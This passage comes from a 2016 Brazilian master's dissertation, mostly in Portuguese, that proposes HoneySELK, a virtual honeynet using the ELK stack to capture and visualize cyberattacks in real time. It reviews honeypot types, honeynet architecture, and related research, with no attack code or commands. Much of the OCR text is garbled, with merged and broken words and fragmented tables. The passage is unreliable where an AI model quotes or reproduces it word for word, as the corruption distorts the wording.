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RESUMO

HONEYSELK: UM AMBIENTE PARA PESQUISA E VISUALIZACAO DE
ATAQUES CIBERNETICOS EM TEMPO REAL

Autor: Gildasio Antonio de Oliveira Junior
Orientador: Rafael Timoteo de Sousa Junior
Coorientador: Robson de Oliveira Albuquerque
Programa de Pds-graduacdo em Engenharia Elétrica

Brasilia, dezembro de 2016

Dado o grande numero de vulnerabilidades em sistelmanformacao e a atividade continua
dos atacantes, é cada vez mais necessario useatede deteccao de trafego malicioso para
identificacdo e protecdo contra ataques ciberrg&tiPortanto, € importante operacionalizar
intencionalmente um ambiente cibernético para seadido e comprometido, a fim de

permitir que profissionais de seguranca analisenevalucdo dos diversos ataques e

vulnerabilidades exploradas.

Este trabalho prop6e uma arquitetura projetada pgr@squisa e a obtencdo de informacdes
do ponto de vista dos atacantes. A solucéo, deramlaioneySELKfoi implementada e seus
resultados avaliados para mostrar sua capacidadeletar, analisar e visualizar uma grande

quantidade de ataques cibernéticos em tempo real.
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ABSTRACT

HONEYSELK: NA ENVIRONMENT FOR REEARCH AND VIEWING O F CYBER
ATTACKS IN REAL TIME

Author: Gildasio Antonio de Oliveira Junior
Supervisor: Rafael Timoéteo de Sousa Juanior
Co-Supervisor: Robson de Oliveira Albuquerque
Programa de Pds-graduacdo em Engenharia Elétrica

Brasilia, December of 2016

Due to the large number of vulnerabilities in imf@tion systems and the continuous activity
of attackers, techniques for malicious traffic déten are required to identify and protect
against cyber-attacks. Therefore, it is importanintentionally operate a cyber environment
to be invaded and compromised in order to allowussc professionals to analyze the

evolution of the various attacks and exploited eudtbilities.

In this paper, we propose a security architectugplayed specifically for research and
information gathering from the attackers’ point efew. This architecture, named
HoneySELK, is described and its results are evatu& show its ability to collect, analyze,

and visualize large amount of cyber-attacks in tiea.
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1. INTRODUCAO

Atualmente, um dos principais problemas de segaranfrentados no ciberespaco € a invasao
de redes de computadores. Conforme estatisticasampadas por [CERT.br 2016], no ano de
2014 houve 168.775 notificagcOes de tentativas aledf's e um aumento de 128% de ataques
em servidore§Veb,em relacdo ao ano anterior. A rapida expansao oneode informacdes
acessadas através da Internet aumentou o intgressevas formas de atividades intrusivas.
Por conta desse crescimento, o ciberespago seutomocampo de guerra cibernética, uma
guerra invisivel e interminavel. Desta forma, teseafundamental desenvolver técnicas para
acompanhar a evolucdo de ataques, bem como realgaitecédo dos ativos de rede contra

diversas ameacas cibernéticas.

Ressalta-se a necessidade de sempre atualizarramdatas e técnicas aplicadas nesse
contexto, sejam elas com a finalidade de combdtejuas ou de proteger os dados, para
assegurar a seguranca de redes e sistemas, umaeyeegundo fontes como [CERT.br 2016]

e [CTIR.gov 2016] a quantidade de incidentes degatd aumenta, mesmo com a aplicacéo de

variadas técnicas de defesa e vultosos gastosgerasea.

Quanto a deteccao de intrusdo, empregam-se diersagogias especificas em conjunto com
outros mecanismos de seguranca, buscando indiaoscdrréncia de ataques. Segundo
[Scarfone and Mell 2007], a detec¢cao de intrus@opéocesso de monitoramento de eventos
gue ocorre em um sistema de computador ou rededptatar sinais de possiveis incidentes.
Tais tecnologias sdo classificadas de acordo coréamscas utilizadas para investigar os
citados indicios. Por exemplo, a arquitetura delD8 (Intrusion Detection Systgndepende
da localizacdo do sistema e da forma como os dados coletados, sendo dividido
fundamentalmente em duas categorias: baseadwsfrsendo amplamente conhecido como
Host Intrusion Detection SystefHIDS) e baseado em rede bietwork Intrusion Detection
Systen{NIDS).

Entretanto, um dos problemas tratados em um IDS detaccdo de atagues que sejam
conhecidos previamente, ou seja, ataques que teslgama assinatura verificavel. Coloca-se,
por consequéncia, a questdao complementar de coletarg@nalisar e visualizar os dados de
trafego que incluam possiveis atagues ainda descius, preferencialmente em tempo real.
Para tanto, o IDS deve detectar também indicicgabtpies que correspondam a anomalias no

1



trafego ou na operacao de sistemas. A deteccdanponalia, ainda que efetiva como método
para bloguear os ataques, deixa em aberto a ndmessde analisar detalhadamente cada

anomalia para descrever o ataque e entdo evennielolger a assinatura correspondente.

Considerando aspectos da geréncia da segurangad#ss sistemas e aplicacdes, sejam elas
governamentais ou privadas, 0 gestor deve aplick medida a seu alcance, no sentido de
proteger a informacao e os sistemas. O problemeeédga parte das tecnologias ndo permite
andlise em tempo real, ou seja, pode dar informaghce fatos ja ocorridopdst-mortem

Isso é verificado em ambientes de produc¢éo, quealorente j& possuem diversos recursos de
protecdo em funcionamento, mas que os dados shsadoa somente em caso de interrupcao
ou anomalia de funcionamento do servico. Isso sampénte indica que o ataque ja ocorreu e
gue o comprometimento do sistema ja € uma realidad®, um processo de analise deve ser
utilizado para rastrear o ataque e seus respeassos.

Nesse sentido, o presente trabalho propfe umadsohara a questdo da analise dos ataques,
tanto daqueles conhecidos (com base em assinguaa)o dos desconhecidos (com base em
anomalia). O ambiente proposto, denominatbmeySELK é deixado propositadamente ao
alcance dos atacantes para que, quando compromstjdoutilizado para controlar, capturar,
analisar e visualizar em tempo real os diversosstide ataques e as correspondentes
vulnerabilidades exploradas pelos intrusos. Aléssalieste ambiente facilita o entendimento
dos ataques porque tem a possibilidade de apresem@xdes e explorar os relacionamentos

entre entidades para gerar o mapeamento dos atgaess de grafos.

Vislumbra-se como possibilidade de uso do ambiétitaeySELKo acompanhamento da
evolucdo de diversos tipos de ataques de redanadi impedir intrusées nos sistemas,
garantindo, desta forma, o funcionamento dos sEswipm uma menor quantidade de riscos
relacionados a ataques cibernéticos. Além dissonbientgpode segplicado na area forense,
visto que tem a possibilidade de capturanaxlus operandias operacdes de intrusdo, sejam
elas por atividade dmalwareou ataques direcionados, inclusive ndo conhec@os isso, é
possivel preservar evidéncias dos atos praticadosuq atacante e que possam indicar a
ocorréncia de crimes cibernéticos, assim como t&iaar os meios tecnoldgicos empregados

em tais delitos.



1.1. OBJETIVOS

Desenvolver uma honeynet virtual de alta interdéide para controlar, capturar, analisar e
visualizar em tempo real ataques novos e descatd®edentro do Laboratorio de Tecnologias
da Tomada de Decisdo — LATITUDE/UNB. Para tantestatégia da solugédo proposta foi

dividida em trés fases distintas:

a) Construir o ambiente denominadttoneySELKe validar esse ambiente através dos
requisitos de controle, captura, analise, alereagndnitoramento e visualizacdo em

tempo real destes ataques.

b) Implementar e apresentar o uso de tecnologia delidzacdo de grafos no sentido de

facilitar o mapeamento dos ataques no ambiente.

c) Utilizar este ambiente para realizar coletas nd@lware e demonstrar através de
pesquisas e estudos as formas de ataques conh¢ctosbase em assinatura) e
desconhecidos (com base em anomalia) com as ocondmmes vulnerabilidades

exploradas pelos intrusos.

1.2. MOTIVACAO E JUSTIFICATIVA

Com a dependéncia de sistemas computadorizadosgaralar as infraestruturas criticas de
um pais, surge um novo conceito de estudo de segurdefesa. Tais reflexBes cresceram
quando o Brasil foi escolhido para sediar variosnéess de amplitude mundial, onde varios
Orgéos Governamentais participaram, a saber: Gandier Mundial Sobre o Meio Ambiente
“Rio+20" (2012), Jornada Mundial da Juventude Ge#dk Visita do Papa Francisco (2013),
Copa das Confederacdes (2013), Copa do Mundo (R@npiadas e Paraolimpiadas
(2016). Nesses eventos aumenta a responsabilidadestddo em garantir a seguranca e
funcionamento das infraestruturas criticas do pais.

Em 2009, o MD (Ministério da Defesa) atribuiu ao HEXxército Brasileiro) a
responsabilidade pela coordenacio e integracdoetir €ibernético. E de fundamental
importancia ter um ambiente cibernético para acomm@aa evolucdo dos diversos tipos de
atagues a fim de impedir intrusbes maliciosas nstemsas garantindo, desta forma, o
funcionamento dos servi¢os essenciais a populacgéo.

Este trabalho tem como finalidade a contribuicdocdiehecimento e pesquisa com Org&os

Governamentais sobre Seguranca, Defesa e Gueem€iita.



1.3. ESTRUTURA DA DISSERTACAO

No Capitulo 2 sdo apresentados alguns trabalhasiosahdos e revisdes sobre os conceitos
relacionados &oneypots, honeynetsa pilha ELK. E detalhada no Capitulo 3 a arquitetio
ambienteHoneySELKproposto propositadamente para ser invadido e wongiido. Este
Capitulo descreve ainda como é feita a centralag@exacdo, busca e visualizacdo da
origem dos atagues no ambiente, bem como a sudagab considerando os requisitos de
controle, captura, alertas das conexfes de saidandmente e analise dos dados com
visualizacdo dos ataques. O Capitulo 4 apresentfordea detalhada alguns ataques que
foram capturados no ambierti®eneySELK Por fim, o Capitulo 5 apresenta as consideracfes

finais e propostas de trabalhos futuros.



2. REVISAO BIBLIOGRAFICA E ESTADO DA ARTE

Este Capitulo apresenta alguns trabalhos relacisnadconceitos basicos solbteneypots
HoneynetsELK e Graphnecessarios para o entendimento do ambiente pgoypnominado
HoneySELK

2.1. HONEYPOTS

Grande parte das tecnologias de seguranca aplicadalsnente sao utilizadas apenas para
identificar atividades ndo autorizadas. @sneypotsconseguem contornar este problema
porque podem ser aplicados em variadas situacoegexemplo, eles podem ser empregados
para fornecer informagdes adicionais em uma andéisatrusdo. Dessa forma, os detalhes de
um ataque podem ser capturados e estudados paeatanm@a seguranca geral de uma rede. O
Honeypoté um recurso computacional de seguranca que tem @inalidade ser explorado,
atacado e comprometido. Nele qualquer atividadé sensiderada suspeita por natureza
[Spitzner 2002] e [Baumann and Plattner 2002].

2.1.1. Tipos de Honeypots

Os honeypots sédo divididos em duas categorias: pesquisa e @ioduOshoneypotsde
producdo agregam valores a seguranca da infornpagendo ser utilizados para mitigar os
riscos relacionados a ataques de uma Organizagdies loneypotssdo mais faceis de
implementar porque nao exigem muitas aplicacodsetanto fornecem poucas informacoes
sobre as atividades dos ataques no ambientbof@sypotsde pesquisa tém como finalidade
obter o maximo de informacdes dos intrusos paralaste mostrar as principais ameacas que
as organizagbes podem enfrentar. Estas informag@esde extrema importancia porque
permite entender melhor quem sdo as ameacgas, dasiduacionam, como 0s intrusos se
comunicam e adquirem ferramentas. Geralmente #ifmadias em organizacdes de pesquisa
como Universidades, Empresas de Seguranca e ditaEntretanto, por serem mais
complexas de implementar d®neypotsde pesquisa possuem algumas desvantagens tais
como: maior risco, tempo e dificuldade de admiadgip.

! Conforme definido por Marty Roesch, desenvolvetioBnort



2.1.2. Niveis de Interacdo

O nivel de interacdo com os atacantes dividbareypotsm trés categoriasioneypotse
baixa interatividadehoneypotsle média interatividade loneypotde alta interatividade. Os
honeypotsde baixa interatividade fornecem sistemas oparaoe servicos emulados para
que os atacantes possam interagir (Figura 2.1egteNcaso, tanto as informacdes coletadas
quanto os riscos sao minimizados porque o0 atacartbrigado a interagir com servigos
predeterminados. Esse tipo lieneypoigeralmente € utilizado para deteccdo de varredwras

tentativas de conexdes nao autorizadas.
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Figura 2.1: Baixa e média interacdo [Baumann aattrigr 2002].

Honeypotsde média interatividade oferecem um nivel maior eshwolvimento para os
atacantes do que d®neypotsde baixa interatividade, entretanto ndo fornece sistema
operacional real. Neste nivel de interacdo (Figuiab) os servicos emulados sdo mais
sofisticados para que os atagues mais complexasmsgpssiveis de acontecer. Cuidados
especiais devem ser tomados durante o desenvoldrdes servigcos emulados para este nivel

de interacdo para diminuir 0s riscos relacionadesgaranca.
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Figura 2.2: Alta interacdo [Baumann and Plattn€&220



Oshoneypotgsie alta interatividade (Figura 2.2) sdo compled@sonfigurar porque executam
sistemas operacionais reais com servicos implemesitdais como: SSH, HTTP e FTP. Este
tipo dehoneypotapresenta um risco maior porque os intrusos pad#izar todos 0s recursos
dos sistemas comprometidos (possibilidade de fagladse instalar novos arquivos) para
atacar outros alvos, entretanto, os dados sobativedades maliciosas sdo capturados com
mais detalhes, permitindo através de analisesndifidacdo de vulnerabilidades exploradas e
as técnicas de ataque utilizadas [Spitzner 200Bhamann and Plattner 2002]. A Tabela 2.1

apresenta as vantagens e desvantagens para caldderinteracao.

Tabela 2.1: Diferenca entre os niveis de interacéo.

InstglagéoNe Manutencéo Coleta ge Niv_el de

Configuracéo Informacbes Risco
ngiﬁﬁgaif baixa Facil Facil Restrita Baixo
m2;§ﬁ§%a32 média Dificil Facil Variavel Médio
maggﬁsﬁadge alta Dificil Dificil Extensa Alto

2.2. HONEYNETS

De acordo com [Project 2002], usando o conceitcthaleeypotcomo sendo um sistema,
servico ou aplicacdo emulada propositadamentetparar-se alvo de um ataque, denomina-
se honeynetum conjunto dehoneypotsde alta interatividade, integrados em uma solucéo
projetada especificamente para ser invadida e acomgiida. Diferentemente dd®neypots

de baixa interatividade, que apenas emulam sistepascionais e servicos (TELNET, FTP
e HTTP), oshoneypotsde alta interatividade fornecem sistemas operagoe aplicacdes
reais com as quais 0s intrusos possam interagisa Heteratividade faz com que
pesquisadores possam observar o comportamento dgruso em um sistema real, a fim de
descobrir novas técnicas de invaséao, identificaasawulnerabilidades e aprender como esses

intrusos se comunicam.

2.2.1. Arquitetura de uma Honeynet

O sucesso de um projetoneynetiepende da correta definicdo da arquitetura,ivanflo-se
que a construcdo e a manutencdo de boreynetdependem de trés requisitos criticos:

controle de dados, captura de dados e coleta des d8gitzner 2002]. O controle e a captura



dos dados séo os requisitos mais importantes daetuqa. O terceiro requisito se aplica nas
configuracdes que tenham varibsneypotsem ambientes distribuidos. A Figura 2.3 [The
Honeynet Project 2005] apresenta a arquiteturangie@ HoneynetVirtual Genlll (Terceira
Geragdo) com seus requisitos e trés redes dist(img=rnet Honeypotse Geréncia). O
dispositivo 1 Honeywal) tem como finalidade fazer o controle, capturaé&lise dos dados.
O dispositivo 2 iManagement Servefaz a geréncia do dispositivo 1. Os dispositi8os 4
(Linux e Window$ representam o$ioneypotspara serem comprometidos. Por fim, o
dispositivo 5 Attacke) descreve um usuario malicioso na Internet.

Management

: % Lirux
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I Switch % Windows
Nty

Figura 2.3: Arquitetura de untdoneyneGen lll [The Honeynet Project 2005].
2.2.1.1. Controle de Dados

Trata-se de um requisito muito critico, cuja fidatle é a de controlar os dados de entrada e
saida para reduzir os riscos dentrchdaeynetlsto garante que sistemas comprometidos néo
sejam usados para atacar sistemas de producédotrds cedes [Project 2002] e [Spitzner
2002]. O trafego de dados deve ser controlado d#gonaotomatico, para reduzir de forma
rapida qualquer dano no sistema, e transparers@ndd garantir que intrusos nédo percebam
gue suas atividades estdo sendo controladas.

Segundo [Spitzner 2002], existem oito requisitqezeeicos essenciais de controle de dados

gue podem ser implementados para reduzir os r&snagmahoneynet



* O controle de dados deve ser implementado de fautmanatica e manual;
* Pelo menos duas camadas de controle de dadosrpteego de falhas;

» Capacidade de manter o estado de todas as cordex@egrada e saida;

» Capacidade de controlar qualquer atividade nacaiaatia;

» Capacidade de configurar o controle de dados emgugramomento;

» Controle de conexdes para dificultar a detec¢asistema por intrusos;

» Pelo menos dois métodos de alerta pareypotsomprometidos; e

* Administracao remota do controle de dados.

Desta forma, o controle de dados deve ser utilizdta separar laoneynetdas outras redes,
tais como:nternet administrativa e producdo. Para tanto, cada pat®ie ser controlado e
inspecionado quando entra ou saildmeynet Geralmente, os ambientes permitem apenas
que qualquer sistema inicie conexdes corhoaeynet,consentindo que intrusos sondem,

identifiquem e explorem os sistemas vulneraveisrdetahoneynet.
2.2.1.2. Captura de Dados

Tratam-se das operacdes de captura de dadosaslattedas as atividades dos intrusos dentro
da honeynetincluindo as conexdes de entrada, as atividadesde e de sistema. Conforme
[Project 2002] e [Spitzner 2002], tais operacd@stdéa criticas para o sucesso do projeto, que

€ melhor ter multiplos métodos de captura de dagesantes.

Entretanto, nenhum dado capturado deve ser arndazémzalmente nosoneypotsvisto que
dados armazenados localmente podem ser detectamlosnfpusos e utilizados para
comprometer o sistema. Além disso, estes dadosnpede modificados e destruidos. Em

consequéncia, tais dados devem ser armazenadastentogal que seja seguro e confiavel.
2.2.1.3. Coleta de Dados

A coleta de dados € um requisito aplicado em orggbes que possuam varaseynetem
ambientes distribuidos. Neste caso, todos os dagfmisrados deverdo ser transferidos a uma
coletora central, para armazenamento e para podsegnctorrelacionados e aumentar a

efetividade daboneynetsle pesquisa.



Conforme [Spitzner 2002], selmneynetfaz parte de um ambiente distribuido, entdo quatro
requisitos especificos para coleta de dados deeerapticados: a primeira - cati@neynet
devera ter um identificador Unico; a segunda -amod deverdo ser transmitidos dos sensores
para uma coletora de forma segura, garantido sudideacialidade, integridade e
autenticidade; a terceira - o anonimato dos dadwerd ser garantido; quarta - um servico de
sincronizacdo de relogios, comoNztwork Time Protoco{(NTP) devera ser utilizado para

garantir que os dados capturadohioaaeynetlistribuida estejam devidamente sincronizados.

2.2.2. Honeynets Reais

As honeynetsreais fornecem sistemas operacionais reais conm (e intrusos possam
interagir. O objetivo dessa interacdo € aprenderocos intrusos invadem o0s sistemas, como
se comunicam e qual a finalidade do ataque [Pr@j@@®], [Spitzner 2002] e [The Honeynet
Project 2003]. Estas informac¢des podem ser deraatienportancia para que a geréncia da
seguranca das redes e aplicacbes compreendamegpraeus sistemas contra ameacas e
atagues. Neste tipo #@neynettodos os dispositivos e mecanismos de seguraongaypots
contencdo, alerta e coleta de informagfes) saw$§igProject 2002], [The Honeynet Project
2003] e [Spitzner 2002]. A Tabela 2.2 apresentpraxipais vantagens e desvantagens das
honeynetseais.

Tabela 2.2: Vantagens e desvantagen$idasynetseais.

Vantagens Desvantagens

Intrusos interagem com dispositivos fisicos reais| ust@de implementacao e espaco fisico

_ o Dificuldade de instalagéo e administragédo
Ambiente distribuido (tolerante a falhas)

Complexidade de manutencédo

2.2.3. Honeynets Virtuais

Por suas caracteristicas,haeynetseais séo dificeis e complexas de construir. Adésao,

sua implementacdo exige uma variedade de sistdriegsfe mecanismos de seguranca. Por
outro lado, afioneynetwirtuais permitem executar todos os sistemas oerais, aplicacdes

e servicos no mesmisardware através de unsoftwarede virtualizagdo [Spitzner 2002] e
[The Honeynet Project 2003]. A Tabela 2.3 apresastprincipais vantagens e desvantagens

dashoneynetwirtuais.
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Tabela 2.3: Vantagens e desvantagen$idasynetwirtuais.

Vantagens Desvantagens

Limitacdo e risco de comprometimento do
Custo e espaco fisico reduzidos software de virtualizagdo (neste caso, 0 intfuso

podera controlar todateneynét

Risco de fingerpriting (os intrusos podera
Facilidade de manutencédo e administragdo | detectar se os sistemas estdo sendo executados em

um software de virtualizacao)

As honeynetwirtuais estédo divididas ainda em duas categogiaicontencao e hibridas. Na
primeira, todos os dispositivos, incluindo os dpteea e coleta de dados, geracéo de alertas e
honeypotsgestdo implementados em um Gnico computador. Jdbaislas representam uma
combinagdo entrdioneynetsreais e virtuais. Nesta categoria, por exempl@ragbes de
captura, controle de dados e sistemadode sdo implementados em dispositivos fisicos
distintos, enquanto dsoneypotssdo configurados em um Gnico computador atravesnte

softwarede virtualizacéo.
2.2.4. Riscos e Ameacas das Honeynets

As honeynetsoferecem diferentes tipos de riscos e ameagaspqdem comprometer 0s
sistemas de uma Organizacdo. [Project 2002] eZi&it2002] apresentam dois riscos que
sao considerados altos: o primeiro nivel correspa@nthteracdo, onde os intrusos tém acesso
completo aos Sistemas Operacionais. Neste nivebsSiyel utilizar oshoneypotspara
compilar codigos, realizar ataques a outros siseenalistribuir ferramentas. O requisito
controle de dados deve ser implementado de maoeirata para evitar estas ameacas. O
segundo risco corresponde a dificuldade de implémgéo deste ambiente, visto que uma
variedade de tecnologias séo utilizadas em um mesnteente (regras deeewall, scriptsde
alertas, captura degs de sistemas). Qualquer falha na configuracdo sldstanologias

podera expor honeynet

2.3. ELASTICSEARCH, LOGSTASH E KIBANA

Nas secdes anteriores foram abordados, dentrescagsuntos, questdes referentes a coleta e
analise de dados com o propdsito de observar o mbampento de ataques para identificar

novas técnicas de invasdo e vulnerabilidades etansis. Entretanto, ndo foi citado em
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nenhum momento como armazenar a estrutura complestes dados para fazer o
monitoramento desses ataques através de georméenemtos, estatisticas e grafos. A
resposta para essas e outras questdes torna-senkemidl ao tentar visualizar e mapear em
tempo real os ataques em um ambiente. Nesse cmntexpossivel utilizar a Pilha ELK
formada porElasticsearch, Logstashd Kibana um conceito que envolve receber dados de

qualquer fonte em qualquer formato para analis@sualizar em tempo real [Elastic 2016].

Figura 2.4: Comunicacéo da Pilha ELK.

A Figura 2.4 mostra o funcionamento basico da PHEh&: o Logstashrecebe odogs de
distintas fontes, faz a analise através de fikramnsformacdes e os envia pakasticsearch
que em seguida faz a indexacao e busca das infoesniaQKibana fica responséavel por fazer
as consultas analiticas e a construcadaboardscom base nas informagdes indexadas no

Elasticsearch

2.3.1. Elasticsearch

O Elasticsearché um mecanismo de busca e indexacao textual dgocallerto baseado no
Apache LuceneConforme [Elastic 2016], dlasticsearchpode ser descrito como: um
armazenamento distribuido de documentos em tengiaurea mecanismo distribuido de busca
com analises em tempo real; um mecanismo com aucide escalonamento de dados

(petabytesestruturados e néo estruturados.

Basicamente dois tipos de acdes séo executadog&lpstacsearcha indexacéo, local onde os
documentos séo inseridos, alterados e excluidod@sea composta por diversgsatures
como busca por sinbnimos, agrupamentos e contaga&r, (min e avygde determinados

eventos e expressoes logicas.
2.3.1.1. Estrutura Interna do Elasticsearch

Elasticsearchtirabalha com fragmentoshardg, documentos e indices. Todas as informacdes

indexadas sao agrupadas em indices. Os docum@otas struturas onde os eventokds
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e outras informacgdes sao estruturadas e armaze@aties documento possui um mapeamento
(document typeque armazena as informacdes referentes aos caopdecumento e seus

respectivos tipos. Os fragmentos tém como finaBdadover maior agilidade durante as
consultas. Neste caso, Elasticsearchatribui um hash para cada documento no ato da
indexacdo e o armazena em um dos fragmentos, ay te@jos indices que armazenam

documentos, que possuem mapeamentos estruturaisaqulistribuidos em fragmentos.

2.3.2. Logstash

Conforme [Elastic 2016]l.ogstashé um mecanismo de coleta de dados com recursos de
pipelining em tempo real que permite centralizar e normatizalos de todos os tipos. Com
mais de 20(lugins, o Logstashpode se conectar com uma variedade de fontesces aed

fluxo em grande escala para um sistema de anéligeat

*HTTP sGrok sElasticsearch
*Syslog *GeolP »Google Big
* Twitter *Date «File

Data Source Elasticsearch

Figura 2.5: Arquitetura dbogstash

A arquitetura dd_ogstash(Figura 2.5) possui trés secoes distintaput — nessa secao sao
configuradas as fontes de dadospioeling comologs arquivos etwitter. Nesta fase sao
configurados tambénsodecsresponsaveis pelas transformacdes dos formatatades de
entrada, como por exemplo, a conversao de binaria gextualfilter — tem como finalidade
fazer a transformacdo dos dados (parseamentosratbmgOes) presentes fay; output —
define onde e como d3gsserao escritos.

2.3.3. Kibana

Desenvolvido peld&lastic, o Kibana tem como finalidade fornecer uma interface riceapa
permitir consultas analiticas avancadas, visudzggraficos, tabelas e mapas) e interacdo
com os dados armazenados nos indice&ldsticsearch[Elastic 2016]. O resultado é uma
plataforma coesa que oferece abstracdo de dadasnggque o analista possa monitorar em

tempo real os dados de interesse.

O Kibana possui basicamente trés aplicac@gisconver Visualizee Dashboard A aplicacéo

Discover permite que os dados sejam explorados em tempoNessa aplicacado todos os
13



documentos podem ser acessados em cada indice podesode pesquisa, filtros e
visualizacdo dos dados de um documento. A Figufa ghresenta a distribuicdo de

documentos, total daits e histograma de um indice.
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Figura 2.6: Distribuicdo de documentos e histogrgadaptada de Elastic 2016].

A aplicagaoVisualizepossui ferramentas que permitem agregar e exshaispectos dos dados
de varias formas através de graficos, tabelas,icagte mapas. @ashboard(Figura 2.7)

apresenta um conjunto de visualizacdes que forbmssaa ferramenta.
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averrtraw: SCaen i ng
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Figura 2.7.Dashboardcom conjunto de visualizagGes [adaptada de EIa61i6].
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2.3.4. Graphs

Grafos sdo utilizados para resolver problemas ¢matieos, informatica, engenharia e
industria) em diversas aplicacGes praticas. Corddiirchhoff 1847] e [Carre 1979], teoria
dos grafos é um estudo matematico de estruturadittddlas por nGs com arestas ou arcos
conectando alguns pares destes nds. Um @aiansiste de um conjunto finito e ndo vazio de

n nos, denotado paf(G) em arestas, denotado p&fG).

O problema das pontes da cidade de Konigsberg (tlopgnada de Kaliningrado) foi o
primeiro e mais famoso problema em teoria dos gredeolvido por [Euler 1736]. [Kirchhoff
1847] desenvolveu a teoria de arvores para resdisemas de equacles lineares que
transmitem correntes em cada ramo e em torno deabalito de uma rede elétrica. Pensando
como um matematico ele substituiu 0os componentesratie elétrica (resisténcias,
condensadores, indutancias) por uma estrutura oamdbia constituida apenas por pontos e

linhas correspondentes sem qualquer indicacagpdalé elemento elétrico (Figura 2.8).

0000

[ —

—

Figura 2.8: Red®&l com seu grafo de ba&e uma arvord [Harary 1969].

Nesse trabalho foi aplicado o conceito de grafavas da ferrament@raph para facilitar a
visualizacdo dos dados através de relacionamemins as entidades de um indice. Esta
ferramenta fornece uma alternativa para extraiesimir informacdes dos documentos e
termos de um indice nBlasticsearch Estes relacionamentos entre as entidades indexada
podem ser exploradas para verificar as ligagdes significativas [Elastic 2016{sraph é
formado basicamente por dois componentes:pluigin Elasticsearch(API Graph) e um

pluginKibana (visualizacéo interativa dos grafos).
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Na API Graph as entidades sdo chamadas de vértices (nés)agacekntre dois vértices é

uma conexao (aresta) na qual se resume aos do@srpreg contenham entidades de ambos
os vértices (Figura 2.9).

Terms

'

counting.crows

‘the fratellis

) Connections
the blizzards 3

Vertices

the cofonas

Figura 2.9: Relacionamento entre vértices [ElaX0it6].

O plugin Kibana permite a exploracdo dos relacionamentos dos da&désgura 2.10, por
exemplo, apresenta dados indexados do indstémusersjue possui os melhores artistas

exibidos por usuério. Além disso, é possivel veaifia ligacdo dos vértices que apresentam a
maior quantidade de conexoes.

karangeasey
patrick street the bothy band
15(8) 21
Gai) planxty
mattsmolloy
patrickstreet
denvish
liz garroll
the bothy band
tommy:peoples

Figura 2.10: Dados indexados do indegtfmusersZadaptada de Elastic 2016].
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2.4. TRABALHOS RELACIONADOS

Referéncias acerca de monitoracdo e andlise ddaates intrusivas surgiram na década de
1980 e vém constituindo uma area de intensa igasto cientifica. Em agosto de 1986, um
usuario malicioso atacou computadores dos labavatédo LBL (Lawrence Berkeley
Laboratory) para roubar dados. Com a finalidadendeitorar esses tipos de usuarios, Clifford
Stoll criou um mecanismo para rastrear com detadBestaques até sua origem [Stoll 1998],
incorrendo na descoberta de um esquema de espmor@ge culminou no envolvimento de
governos e na prisdo do atacante. Em 1990, Bills@itg descreveu uma invasao no
laboratorio da AT&T em que foram exploradas falhaservicaSendmailpobtendo-se acesso
ao gatewaydo referido laboratorio. A finalidade desta ex@eda consistiu em localizar e
aprender sobre as técnicas que foram utilizadass pefrusos. Uma técnica de mudanca de
diretorio root, chroot, foi construida para observar todas as atividadesagintruso queria
fazer [Cheswick 1990].

A primeira solucdo déoneypotbaseada emsoftwarefoi desenvolvida em 1998 por Fred
Cohen e chamada de DTHdception Toolkjt [Cohen 1998]. Essa ferramenta tinha uma
colecdo descriptsPerle cddigo C que emulavam varias vulnerabilidadeheddas ddJnix,

com o propdsito de obter informagBes e enganaamias. Estdoolkit pode ser utilizado
também para alertar e aprender sobre vulnerabdgladnhecidas. Em 1999, Lance Spitzer
liderou um grupo, sem fins lucrativos, de 30 psifirais de seguranca, dedicados a aprender
técnicas, taticas e motivagdes de intrusos. Em,280fnembros deste grupo langaram o livro
“KnowYourEnenly baseado em dois anos de pesquisas e descrevwnddetalhes as

tecnologias do Projetdoneyne{Project 2002].

A identificacdo e a caracterizacdo de atividadelicirosas em dados de trafego lieneypot

representam topicos de investigacdo importantesramf objeto de uma variedade de
abordagens e técnicas. Os métodos classicos tipitarempregam mineragcdo de dados [He
et al. 2008], [Ghourabi et al. 2010] e analise l@gde arquivos [Raynal et al. 2004] para
detectar padrdes que indicam a presenca de atagpesificos no trafego analisado, bem
como para computar dados estatisticos gerais solmd&ego. Uma caracteristica essencial
desses métodos é que eles dependem tanto do aoehemiprévio dos ataques que se
destinam a ser identificados, quanto da colecaqudmtidades significativas degs para

funcionar corretamente. Técnicas de aprendizadonéguina também foram aplicadas a
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analise de dados deneypote deteccdo de ataques [Tian et al. 2003] obtemgortantes
resultados quanto a identificacdo de atividadescinahs sem depender de padrdes de trafego
maliciosos previamente fornecidos e assinaturastaigue. Contudo, tais técnicas requerem
um periodo de preparacao prévio, periodo denomidadaprendizagem, no qual é preciso
executar varios ciclos de andlise a fim de formarstema de reconhecimento de uma dada
série de ataques. Somente apoés tal periodo, agdsslcom esse meétodo sdo capazes de
trabalhar de forma eficaz. Note-se que o periodapdendizagem pode ser dispendioso, o que
€ um aspecto importante a ser considerado. Aléso,dé& os padrdes de trafego legitimos sdo
alterados por quaisquer razdes legitimas, métodesallos em aprendizagem de maquina
podem produzir um numero significativo de falsosifnos, identificando as conexdes
honestas como atividades maliciosas. Estes sisteimd®m sao propensos a falhas em casos
em que ataques especificos que ndo foram inclurogprocesso de aprendizagem se
assemelham a padr6es honestos. Em tais casosagfess ndo sédo detectados, conduzindo

a falsos negativos.

Métodos baseados na analise de componentes pin¢i@A) [Almotairi et al. 2009] sao
uma alternativa promissora as técnicas tradiciommis identificar os principais grupos de
indicadores altamente correlacionados, ou seja,poaentes principais, que representam
atividades maliciosas relevantes em dados de trafegede coletados ehoneypotsEstes
métodos baseiam-se na observacdo de que padrbdsafdgo de ataques sdo mais
correlacionados do que o padrdo de trafego norfalantagem deste método € que ele
depende exclusivamente da andlise estatisticaattssdecolhidos, o que libera as solu¢des
baseadas em PCA da analise de informacdo antetoe s ataques a serem detectados,
assim como ndo ha necessidade de treinamento g@rahecer os ataques e separa-los do
trafego legitimo. Estas caracteristicas tornam étodos de andlise de dados baseados em
PCA adequados para a analise de trafego e a deteegaques automética. No entanto, uma
vez que estes métodos com base em PCA continuaxigia iatervencdo humana, o que
dificulta a analise automatica e causa erros, ctalsms positivos, um método automatico
para identificar ataques de rede com base no traflegdados recolhido a partir de um
honeypoté proposto em [David et al. 2011] e [Costa et28l2], com base em esquemas
avancados de selecdo de ordem do modelo, permindmplementacdo eficiente em

hardwaree em computacao paralela.
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Como, em todos 0s casos,lameypotgeram um substancial volume de trafego capturado e
logs de atividade, coloca-se um verdadeiro desafio tguaranalise eficiente e automatizada
desses dados, bem como a sua visualizacéo panarétéedo humana. Assim, [Siqueira et al.
